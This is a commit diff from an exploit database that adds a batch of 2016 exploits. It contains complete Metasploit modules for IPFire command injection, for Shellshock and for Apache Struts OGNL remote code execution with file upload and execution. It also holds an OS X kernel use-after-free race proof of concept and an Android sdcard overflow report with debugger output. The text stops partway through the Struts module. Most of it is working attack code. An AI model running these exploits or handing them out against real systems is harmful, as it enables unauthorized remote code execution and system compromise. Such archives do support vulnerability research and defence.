DB: 2016-06-11
23 new exploits Poison Ivy 2.1.x C2 Buffer Overflow (msf) Matrix42 Remote Control Host 3.20.0031 - Unquoted Path Privilege Escalation Dell OpenManage Server Administrator 8.3 - XML External Entity Exploit Mobiketa 1.0 - CSRF Add Admin Exploit miniMySQLAdmin 1.1.3 - CSRF Execute SQL Query phpMyFAQ 2.9.0 - Stored XSS Windows x86 system(_systeminfo_) Shellcode Armadito Antimalware - Backdoor/Bypass Riot Games League of Legends - Insecure File Permissions Privilege Escalation IPFire proxy.cgi RCE IPFire Bash Environment Variable Injection (Shellshock) Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution OS X Kernel - Exploitable NULL Pointer Dereference in nvCommandQueue::GetHandleIndex in GeForce.kext Android - /system/bin/sdcard Stack Buffer Overflow OS X Kernel - Exploitable NULL Pointer Dereference in AppleMuxControl.kext OS X Kernel - Exploitable NULL Pointer Dereference in AppleGraphicsDeviceControl OS X Kernel - Exploitable NULL Dereference in IOAccelSharedUserClient2::page_off_resource OS X Kernel - Exploitable NULL Dereference in CoreCaptureResponder Due to Unchecked Return Value OS X Kernel - Exploitable NULL Pointer Dereference in IOAudioEngine OS X Kernel - OOB Read of Object Pointer Due to Insufficient Checks in Raw Cast to enum Type OS X Kernel - Use-After-Free Due to Bad Locking in IOAcceleratorFamily2 OS X/iOS Kernel - UAF Racing getProperty on IOHDIXController and testNetBootMethod on IOHDIXControllerUserClient OS X Kernel - Stack Buffer Overflow in GeForce GPU Driver
This commit is contained in:
parent
4bc4dc0218
commit
076ef173f9
24 changed files with 3246 additions and 0 deletions
23
files.csv
23
files.csv
|
@ -36086,3 +36086,26 @@ id,file,description,date,author,platform,type,port
|
|||
39904,platforms/asp/webapps/39904.txt,"Cisco EPC 3928 - Multiple Vulnerabilities",2016-06-07,"Patryk Bogdan",asp,webapps,0
|
||||
39905,platforms/php/webapps/39905.txt,"Drale DBTableViewer 100123 - Blind SQL Injection",2016-06-08,HaHwul,php,webapps,80
|
||||
39906,platforms/multiple/dos/39906.txt,"Microsoft Word (Win/Mac) - Crash PoC",2016-06-09,halsten,multiple,dos,0
|
||||
39907,platforms/windows/remote/39907.rb,"Poison Ivy 2.1.x C2 Buffer Overflow (msf)",2016-06-10,"Jos Wetzels",windows,remote,3460
|
||||
39908,platforms/windows/local/39908.txt,"Matrix42 Remote Control Host 3.20.0031 - Unquoted Path Privilege Escalation",2016-06-10,"Roland C. Redl",windows,local,0
|
||||
39909,platforms/xml/webapps/39909.rb,"Dell OpenManage Server Administrator 8.3 - XML External Entity Exploit",2016-06-10,hantwister,xml,webapps,0
|
||||
39911,platforms/php/webapps/39911.html,"Mobiketa 1.0 - CSRF Add Admin Exploit",2016-06-10,"Murat Yilmazlar",php,webapps,80
|
||||
39912,platforms/php/webapps/39912.html,"miniMySQLAdmin 1.1.3 - CSRF Execute SQL Query",2016-06-10,HaHwul,php,webapps,80
|
||||
39913,platforms/php/webapps/39913.txt,"phpMyFAQ 2.9.0 - Stored XSS",2016-06-10,"Kacper Szurek",php,webapps,80
|
||||
39914,platforms/win32/shellcode/39914.c,"Windows x86 system(_systeminfo_) Shellcode",2016-06-10,"Roziul Hasan Khan Shifat",win32,shellcode,0
|
||||
39915,platforms/windows/dos/39915.c,"Armadito Antimalware - Backdoor/Bypass",2016-06-10,Ax.,windows,dos,0
|
||||
39916,platforms/windows/local/39916.txt,"Riot Games League of Legends - Insecure File Permissions Privilege Escalation",2016-06-10,"Cyril Vallicari",windows,local,0
|
||||
39917,platforms/cgi/remote/39917.rb,"IPFire proxy.cgi RCE",2016-06-10,metasploit,cgi,remote,444
|
||||
39918,platforms/cgi/remote/39918.rb,"IPFire Bash Environment Variable Injection (Shellshock)",2016-06-10,metasploit,cgi,remote,444
|
||||
39919,platforms/multiple/remote/39919.rb,"Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution",2016-06-10,metasploit,multiple,remote,8080
|
||||
39920,platforms/osx/dos/39920.c,"OS X Kernel - Exploitable NULL Pointer Dereference in nvCommandQueue::GetHandleIndex in GeForce.kext",2016-06-10,"Google Security Research",osx,dos,0
|
||||
39921,platforms/android/dos/39921.txt,"Android - /system/bin/sdcard Stack Buffer Overflow",2016-06-10,"Google Security Research",android,dos,0
|
||||
39922,platforms/osx/dos/39922.c,"OS X Kernel - Exploitable NULL Pointer Dereference in AppleMuxControl.kext",2016-06-10,"Google Security Research",osx,dos,0
|
||||
39923,platforms/osx/dos/39923.c,"OS X Kernel - Exploitable NULL Pointer Dereference in AppleGraphicsDeviceControl",2016-06-10,"Google Security Research",osx,dos,0
|
||||
39924,platforms/osx/dos/39924.c,"OS X Kernel - Exploitable NULL Dereference in IOAccelSharedUserClient2::page_off_resource",2016-06-10,"Google Security Research",osx,dos,0
|
||||
39925,platforms/osx/dos/39925.c,"OS X Kernel - Exploitable NULL Dereference in CoreCaptureResponder Due to Unchecked Return Value",2016-06-10,"Google Security Research",osx,dos,0
|
||||
39926,platforms/osx/dos/39926.c,"OS X Kernel - Exploitable NULL Pointer Dereference in IOAudioEngine",2016-06-10,"Google Security Research",osx,dos,0
|
||||
39927,platforms/osx/dos/39927.c,"OS X Kernel - OOB Read of Object Pointer Due to Insufficient Checks in Raw Cast to enum Type",2016-06-10,"Google Security Research",osx,dos,0
|
||||
39928,platforms/osx/dos/39928.c,"OS X Kernel - Use-After-Free Due to Bad Locking in IOAcceleratorFamily2",2016-06-10,"Google Security Research",osx,dos,0
|
||||
39929,platforms/multiple/dos/39929.c,"OS X/iOS Kernel - UAF Racing getProperty on IOHDIXController and testNetBootMethod on IOHDIXControllerUserClient",2016-06-10,"Google Security Research",multiple,dos,0
|
||||
39930,platforms/osx/dos/39930.c,"OS X Kernel - Stack Buffer Overflow in GeForce GPU Driver",2016-06-10,"Google Security Research",osx,dos,0
|
||||
|
|
Can't render this file because it is too large.
|
96
platforms/android/dos/39921.txt
Executable file
96
platforms/android/dos/39921.txt
Executable file
|
@ -0,0 +1,96 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=798
|
||||
|
||||
Android: Stack-buffer-overflow in /system/bin/sdcard
|
||||
|
||||
There's an integer overflow issue in get_node_path_locked, which results in
|
||||
a buffer overflow. For all of the calling paths, this is going to overflow a
|
||||
stack buffer in the parent function:
|
||||
|
||||
static ssize_t get_node_path_locked(struct node* node, char* buf, size_t bufsize) {
|
||||
const char* name;
|
||||
size_t namelen;
|
||||
if (node->graft_path) {
|
||||
name = node->graft_path;
|
||||
namelen = node->graft_pathlen;
|
||||
} else if (node->actual_name) {
|
||||
name = node->actual_name;
|
||||
namelen = node->namelen;
|
||||
} else {
|
||||
name = node->name;
|
||||
namelen = node->namelen;
|
||||
}
|
||||
|
||||
// when bufsize == namelen + 1
|
||||
if (bufsize < namelen + 1) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
ssize_t pathlen = 0;
|
||||
if (node->parent && node->graft_path == NULL) {
|
||||
// bufsize - namelen - 2 overflows to SIZE_MAX
|
||||
pathlen = get_node_path_locked(node->parent, buf, bufsize - namelen - 2);
|
||||
if (pathlen < 0) {
|
||||
return -1;
|
||||
}
|
||||
buf[pathlen++] = '/';
|
||||
}
|
||||
|
||||
memcpy(buf + pathlen, name, namelen + 1); /* include trailing \0 */
|
||||
return pathlen + namelen;
|
||||
}
|
||||
|
||||
This can be triggered by a malicious app creating a directory structure in
|
||||
/sdcard with a total path length longer than PATH_MAX, which can be achieved by
|
||||
creating a directory heirarchy starting with several directories with short
|
||||
names and later renaming these parent directories to have longer names. See the
|
||||
attached POC, which can be run from the 'untrusted_app' selinux domain.
|
||||
|
||||
It appears that the overflow is close enough to the bottom of the stack that
|
||||
with a large overflow we can corrupt thread data that is used before the stack
|
||||
cookie is checked, suggesting that this issue is possibly exploitable despite
|
||||
the presence of stack cookies.
|
||||
|
||||
(gdb) i r
|
||||
r0 0xb 11
|
||||
r1 0x1 1
|
||||
r2 0x41414199 1094795673
|
||||
r3 0x41414141 1094795585
|
||||
r4 0x80000000 2147483648
|
||||
r5 0x0 0
|
||||
r6 0xb6e40ec0 3068399296
|
||||
r7 0xb6cbe860 3066816608
|
||||
r8 0xb6e4930c 3068433164
|
||||
r9 0xb6e3c594 3068380564
|
||||
r10 0xbee4c9ac 3202664876
|
||||
r11 0xb6943180 3063165312
|
||||
r12 0xb6e3c908 3068381448
|
||||
sp 0xb6cbe7a0 0xb6cbe7a0
|
||||
lr 0xb6e1daad -1226712403
|
||||
pc 0xb6e06ade 0xb6e06ade <pthread_getspecific(pthread_key_t)+34>
|
||||
cpsr 0x80070030 -2147024848
|
||||
(gdb) x/10i $pc
|
||||
=> 0xb6e06ade <pthread_getspecific(pthread_key_t)+34>: ldr r4, [r2, #100] ; 0x64
|
||||
0xb6e06ae0 <pthread_getspecific(pthread_key_t)+36>: cmp r4, r1
|
||||
0xb6e06ae2 <pthread_getspecific(pthread_key_t)+38>: bne.n 0xb6e06aec <pthread_getspecific(pthread_key_t)+48>
|
||||
0xb6e06ae4 <pthread_getspecific(pthread_key_t)+40>: ldr r0, [r2, #104] ; 0x68
|
||||
0xb6e06ae6 <pthread_getspecific(pthread_key_t)+42>: pop {r4, pc}
|
||||
0xb6e06ae8 <pthread_getspecific(pthread_key_t)+44>: movs r0, #0
|
||||
0xb6e06aea <pthread_getspecific(pthread_key_t)+46>: pop {r4, pc}
|
||||
0xb6e06aec <pthread_getspecific(pthread_key_t)+48>: adds r0, #12
|
||||
0xb6e06aee <pthread_getspecific(pthread_key_t)+50>: add.w r12, r3, r0, lsl #3
|
||||
0xb6e06af2 <pthread_getspecific(pthread_key_t)+54>: movs r0, #0
|
||||
(gdb) bt
|
||||
#0 0xb6e06ade in pthread_getspecific (key=11) at bionic/libc/bionic/pthread_key.cpp:160
|
||||
#1 0xb6e1daac in je_tsd_wrapper_get () at external/jemalloc/include/jemalloc/internal/tsd.h:609
|
||||
#2 je_tsd_get () at external/jemalloc/include/jemalloc/internal/tsd.h:609
|
||||
#3 je_tsd_fetch () at external/jemalloc/include/jemalloc/internal/tsd.h:614
|
||||
#4 imalloc_body (usize=<synthetic pointer>, tsd=<synthetic pointer>, size=4) at external/jemalloc/src/jemalloc.c:1401
|
||||
#5 je_malloc (size=4) at external/jemalloc/src/jemalloc.c:1423
|
||||
#6 0xb6f3bb3e in handle_open (fuse=0xbee478c8, hdr=0xbee4c984, req=<optimized out>, handler=<optimized out>)
|
||||
at system/core/sdcard/sdcard.c:1193
|
||||
#7 0x41414140 in ?? ()
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39921.zip
|
||||
|
118
platforms/cgi/remote/39917.rb
Executable file
118
platforms/cgi/remote/39917.rb
Executable file
|
@ -0,0 +1,118 @@
|
|||
##
|
||||
## This module requires Metasploit: http://metasploit.com/download
|
||||
## Current source: https://github.com/rapid7/metasploit-framework
|
||||
###
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'IPFire proxy.cgi RCE',
|
||||
'Description' => %q(
|
||||
IPFire, a free linux based open source firewall distribution,
|
||||
version < 2.19 Update Core 101 contains a remote command execution
|
||||
vulnerability in the proxy.cgi page.
|
||||
),
|
||||
'Author' =>
|
||||
[
|
||||
'h00die <mike@stcyrsecurity.com>', # module
|
||||
'Yann CAM' # discovery
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '39765' ],
|
||||
[ 'URL', 'www.ipfire.org/news/ipfire-2-19-core-update-101-released']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Privileged' => false,
|
||||
'DefaultOptions' => { 'SSL' => true },
|
||||
'Arch' => [ ARCH_CMD ],
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'perl awk openssl'
|
||||
}
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic Target', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'May 04 2016'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
|
||||
OptString.new('PASSWORD', [ false, 'Password to login with', '']),
|
||||
Opt::RPORT(444)
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
'uri' => '/cgi-bin/pakfire.cgi',
|
||||
'method' => 'GET'
|
||||
)
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
|
||||
/\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
|
||||
|
||||
if version && update && version == "2.19" && update.to_i < 101
|
||||
Exploit::CheckCode::Appears
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
begin
|
||||
# To manually view the vuln page, click to proxy.cgi. At the bottom
|
||||
# select Local, and save. Ignore the error box, at the bottom of
|
||||
# the page click the button: User Management.
|
||||
|
||||
payload_formatted = "||#{payload.encoded};#"
|
||||
post_data = "NCSA_USERNAME=#{Rex::Text.rand_text_alpha(10)}"
|
||||
post_data << "&NCSA_GROUP=standard"
|
||||
post_data << "&NCSA_PASS=#{Rex::Text.uri_encode(payload_formatted)}"
|
||||
post_data << "&NCSA_PASS_CONFIRM=#{Rex::Text.uri_encode(payload_formatted)}"
|
||||
post_data << "&SUBMIT=Create+user"
|
||||
post_data << "&ACTION=Add"
|
||||
post_data << "&NCSA_MIN_PASS_LEN=6"
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => '/cgi-bin/proxy.cgi',
|
||||
'method' => 'POST',
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'headers' =>
|
||||
{
|
||||
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/proxy.cgi"
|
||||
},
|
||||
'data' => post_data
|
||||
)
|
||||
|
||||
# success means we hang our session, and wont get back a response
|
||||
if res
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||
end
|
||||
end
|
||||
end
|
112
platforms/cgi/remote/39918.rb
Executable file
112
platforms/cgi/remote/39918.rb
Executable file
|
@ -0,0 +1,112 @@
|
|||
##
|
||||
## This module requires Metasploit: http://metasploit.com/download
|
||||
## Current source: https://github.com/rapid7/metasploit-framework
|
||||
###
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'IPFire Bash Environment Variable Injection (Shellshock)',
|
||||
'Description' => %q(
|
||||
IPFire, a free linux based open source firewall distribution,
|
||||
version <= 2.15 Update Core 82 contains an authenticated remote
|
||||
command execution vulnerability via shellshock in the request headers.
|
||||
),
|
||||
'Author' =>
|
||||
[
|
||||
'h00die <mike@stcyrsecurity.com>', # module
|
||||
'Claudio Viviani' # discovery
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '34839' ],
|
||||
[ 'CVE', '2014-6271']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => %w( linux unix ),
|
||||
'Privileged' => false,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true,
|
||||
'PAYLOAD' => 'cmd/unix/generic'
|
||||
},
|
||||
'Arch' => ARCH_CMD,
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic'
|
||||
}
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic Target', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Sep 29 2014'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
|
||||
OptString.new('PASSWORD', [ false, 'Password to login with', '']),
|
||||
Opt::RPORT(444)
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
'uri' => '/cgi-bin/index.cgi',
|
||||
'method' => 'GET'
|
||||
)
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
|
||||
/\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
|
||||
|
||||
if version && update && version == "2.15" && update.to_i < 83
|
||||
Exploit::CheckCode::Appears
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# CVE-2014-6271
|
||||
#
|
||||
def cve_2014_6271(cmd)
|
||||
%{() { :;}; /bin/bash -c "#{cmd}" }
|
||||
end
|
||||
|
||||
def exploit
|
||||
begin
|
||||
payload = cve_2014_6271(datastore['CMD'])
|
||||
vprint_status("Exploiting with payload: #{payload}")
|
||||
res = send_request_cgi(
|
||||
'uri' => '/cgi-bin/index.cgi',
|
||||
'method' => 'GET',
|
||||
'headers' => { 'VULN' => payload }
|
||||
)
|
||||
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
|
||||
/<li>Device: \/dev\/(?<output>.+) reports/m =~ res.body
|
||||
print_good(output) unless output.nil?
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||
end
|
||||
end
|
||||
end
|
133
platforms/multiple/dos/39929.c
Executable file
133
platforms/multiple/dos/39929.c
Executable file
|
@ -0,0 +1,133 @@
|
|||
/*
|
||||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=732
|
||||
|
||||
This is perhaps a more interesting UaF than just racing testNetBootMethod calls as there looks to be a path to getting free'd memory disclosed back to userspace.
|
||||
|
||||
Although the copyProperty macro used by is_io_registry_entry_get_property_bin takes the entry's properties lock before reading and
|
||||
taking a reference on the property the testNetBootMethod external method directly calls the overriden setProperty without
|
||||
taking that same lock. ::setProperty calls ::release on all the properties before nulling them out then replacing them
|
||||
with new objects - we can get a UAF if we can get that ::release call to happen before the ::retain in copyProperty.
|
||||
|
||||
This PoC will crash as a UaF but with more care I believe you could get the OSSerialize to serialize an invalid object
|
||||
leading to a nice kernel memory disclosure.
|
||||
|
||||
Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2
|
||||
*/
|
||||
|
||||
//ianbeer
|
||||
|
||||
//build: clang -o hdix_race_get_set hdix_race_get_set.c -framework IOKit -framework Foundation -lpthread
|
||||
|
||||
/*
|
||||
OS X/iOS kernel UAF racing getProperty on IOHDIXController and testNetBootMethod on IOHDIXControllerUserClient
|
||||
|
||||
This is perhaps a more interesting UaF than just racing testNetBootMethod calls as there looks to be a path to getting free'd memory disclosed back to userspace.
|
||||
|
||||
Although the copyProperty macro used by is_io_registry_entry_get_property_bin takes the entry's properties lock before reading and
|
||||
taking a reference on the property the testNetBootMethod external method directly calls the overriden setProperty without
|
||||
taking that same lock. ::setProperty calls ::release on all the properties before nulling them out then replacing them
|
||||
with new objects - we can get a UAF if we can get that ::release call to happen before the ::retain in copyProperty.
|
||||
|
||||
This PoC will crash as a UaF but with more care I believe you could get the OSSerialize to serialize an invalid object
|
||||
leading to a nice kernel memory disclosure.
|
||||
|
||||
Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
#include <libkern/OSAtomic.h>
|
||||
|
||||
#include <mach/thread_act.h>
|
||||
|
||||
#include <pthread.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/vm_map.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
unsigned int selector = 0;
|
||||
|
||||
uint64_t inputScalar[16];
|
||||
size_t inputScalarCnt = 0;
|
||||
|
||||
uint8_t inputStruct[4096];
|
||||
size_t inputStructCnt = 0;
|
||||
|
||||
uint64_t outputScalar[16] = {0};
|
||||
uint32_t outputScalarCnt = 0;
|
||||
|
||||
char outputStruct[4096] = {0};
|
||||
size_t outputStructCnt = 0;
|
||||
|
||||
io_connect_t global_conn = MACH_PORT_NULL;
|
||||
|
||||
void set_params(io_connect_t conn){
|
||||
char* payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
|
||||
global_conn = conn;
|
||||
selector = 4;
|
||||
inputScalarCnt = 0;
|
||||
inputStructCnt = strlen(payload)+1;
|
||||
strcpy((char*)inputStruct, payload);
|
||||
outputScalarCnt = 0;
|
||||
outputStructCnt = 0;
|
||||
}
|
||||
|
||||
void make_iokit_call(){
|
||||
IOConnectCallMethod(
|
||||
global_conn,
|
||||
selector,
|
||||
inputScalar,
|
||||
inputScalarCnt,
|
||||
inputStruct,
|
||||
inputStructCnt,
|
||||
outputScalar,
|
||||
&outputScalarCnt,
|
||||
outputStruct,
|
||||
&outputStructCnt);
|
||||
}
|
||||
|
||||
OSSpinLock lock = OS_SPINLOCK_INIT;
|
||||
|
||||
void* thread_func(void* arg){
|
||||
for(;;) {
|
||||
int got_it = 0;
|
||||
while (!got_it) {
|
||||
got_it = OSSpinLockTry(&lock);
|
||||
}
|
||||
|
||||
make_iokit_call();
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int main(int argc, char** argv){
|
||||
kern_return_t err;
|
||||
OSSpinLockLock(&lock);
|
||||
|
||||
pthread_t t;
|
||||
pthread_create(&t, NULL, thread_func, NULL);
|
||||
|
||||
mach_port_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
|
||||
IOServiceMatching("IOHDIXController"));
|
||||
|
||||
mach_port_t conn = MACH_PORT_NULL;
|
||||
IOServiceOpen(service, mach_task_self(), 0, &conn);
|
||||
|
||||
set_params(conn);
|
||||
for(;;) {
|
||||
OSSpinLockUnlock(&lock);
|
||||
CFTypeRef p = IORegistryEntryCreateCFProperty(service,
|
||||
CFSTR("di-root-image-result"),
|
||||
kCFAllocatorDefault,
|
||||
0);
|
||||
}
|
||||
return 0;
|
||||
}
|
204
platforms/multiple/remote/39919.rb
Executable file
204
platforms/multiple/remote/39919.rb
Executable file
|
@ -0,0 +1,204 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a remote command execution vulnerability in Apache Struts
|
||||
version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
|
||||
Execution can be performed when using REST Plugin with ! operator when
|
||||
Dynamic Method Invocation is enabled.
|
||||
},
|
||||
'Author' => [
|
||||
'Nixawk' # original metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2016-3087' ],
|
||||
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-91741' ]
|
||||
],
|
||||
'Platform' => %w{ java linux win },
|
||||
'Privileged' => true,
|
||||
'Targets' =>
|
||||
[
|
||||
['Windows Universal',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win'
|
||||
}
|
||||
],
|
||||
['Linux Universal',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
],
|
||||
[ 'Java Universal',
|
||||
{
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Platform' => 'java'
|
||||
},
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Jun 01 2016',
|
||||
'DefaultTarget' => 2))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-rest-showcase/orders/3/']),
|
||||
OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def print_status(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def get_target_platform
|
||||
target.platform.platforms.first
|
||||
end
|
||||
|
||||
def temp_path
|
||||
@TMPPATH ||= lambda {
|
||||
path = datastore['TMPPATH']
|
||||
return nil unless path
|
||||
|
||||
case get_target_platform
|
||||
when Msf::Module::Platform::Windows
|
||||
slash = '\\'
|
||||
when
|
||||
slash = '/'
|
||||
else
|
||||
end
|
||||
|
||||
unless path.end_with?('/')
|
||||
path << '/'
|
||||
end
|
||||
return path
|
||||
}.call
|
||||
end
|
||||
|
||||
def send_http_request(payload, params_hash)
|
||||
uri = normalize_uri(datastore['TARGETURI'])
|
||||
uri = "#{uri}/#{payload}"
|
||||
resp = send_request_cgi(
|
||||
'uri' => uri,
|
||||
'version' => '1.1',
|
||||
'method' => 'POST',
|
||||
'vars_post' => params_hash
|
||||
)
|
||||
if resp && resp.code == 404
|
||||
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
|
||||
end
|
||||
resp
|
||||
end
|
||||
|
||||
def generate_rce_payload(code)
|
||||
payload = ""
|
||||
payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
|
||||
payload << ","
|
||||
payload << Rex::Text.uri_encode(code)
|
||||
payload << ","
|
||||
payload << Rex::Text.uri_encode("#xx.toString.json")
|
||||
payload << "?"
|
||||
payload << Rex::Text.uri_encode("#xx:#request.toString")
|
||||
payload
|
||||
end
|
||||
|
||||
def upload_exec(cmd, filename, content)
|
||||
var_a = rand_text_alpha_lower(4)
|
||||
var_b = rand_text_alpha_lower(4)
|
||||
var_c = rand_text_alpha_lower(4)
|
||||
var_d = rand_text_alpha_lower(4)
|
||||
var_e = rand_text_alpha_lower(4)
|
||||
var_f = rand_text_alpha_lower(4)
|
||||
|
||||
code = "##{var_a}=new sun.misc.BASE64Decoder(),"
|
||||
code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),"
|
||||
code << "##{var_b}.write(new java.math.BigInteger(#parameters.#{var_f}[0], 16).toByteArray()),##{var_b}.close(),"
|
||||
code << "##{var_c}=new java.io.File(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),##{var_c}.setExecutable(true),"
|
||||
code << "@java.lang.Runtime@getRuntime().exec(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])))"
|
||||
payload = generate_rce_payload(code)
|
||||
|
||||
params_hash = {
|
||||
var_d => Rex::Text.encode_base64(cmd),
|
||||
var_e => Rex::Text.encode_base64(filename),
|
||||
var_f => content
|
||||
}
|
||||
send_http_request(payload, params_hash)
|
||||
end
|
||||
|
||||
def check
|
||||
var_a = rand_text_alpha_lower(4)
|
||||
var_b = rand_text_alpha_lower(4)
|
||||
|
||||
addend_one = rand_text_numeric(rand(3) + 1).to_i
|
||||
addend_two = rand_text_numeric(rand(3) + 1).to_i
|
||||
sum = addend_one + addend_two
|
||||
flag = Rex::Text.rand_text_alpha(5)
|
||||
|
||||
code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
|
||||
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
|
||||
code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
|
||||
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
|
||||
code << "##{var_a}.close()"
|
||||
|
||||
payload = generate_rce_payload(code)
|
||||
params_hash = { var_b => flag }
|
||||
|
||||
begin
|
||||
resp = send_http_request(payload, params_hash)
